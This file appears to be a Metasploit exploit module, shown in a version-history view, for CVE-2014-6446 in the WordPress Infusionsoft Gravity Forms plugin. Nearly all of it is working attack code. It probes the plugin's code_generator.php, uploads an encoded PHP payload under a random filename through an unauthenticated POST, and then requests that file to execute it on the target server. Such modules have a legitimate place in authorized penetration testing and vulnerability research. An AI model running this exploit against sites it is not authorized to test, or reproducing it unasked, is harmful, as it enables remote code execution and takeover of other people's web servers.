Files
metasploit-gs/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb
T

80 lines
2.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2015-10-15 11:47:13 -05:00
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
'Description' => %q{
2014-10-14 12:00:50 -05:00
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
2014-10-08 16:35:14 -05:00
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
upload and remote code execution.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery
'us3r777 <us3r777@n0b0.so>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-6446'],
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
2014-10-09 06:58:15 +02:00
['WPVDB', '7634']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
'DisclosureDate' => 'Sep 25 2014',
'DefaultTarget' => 0)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
)
2014-10-08 16:29:11 -05:00
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
2014-10-06 18:56:01 +02:00
return Exploit::CheckCode::Detected
end
2014-10-08 16:29:11 -05:00
Exploit::CheckCode::Safe
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', 'code_generator.php'),
'method' => 'POST',
'vars_post' =>
{
'fileNamePattern' => php_pagename,
'fileTemplate' => payload.encoded
}
})
2014-10-08 16:29:11 -05:00
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
2016-02-01 15:12:03 -06:00
print_good("Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
2015-04-16 21:16:52 +02:00
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
2016-02-01 15:12:03 -06:00
print_status("Calling payload ...")
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
2014-10-08 16:32:05 -05:00
}, 2)
end
end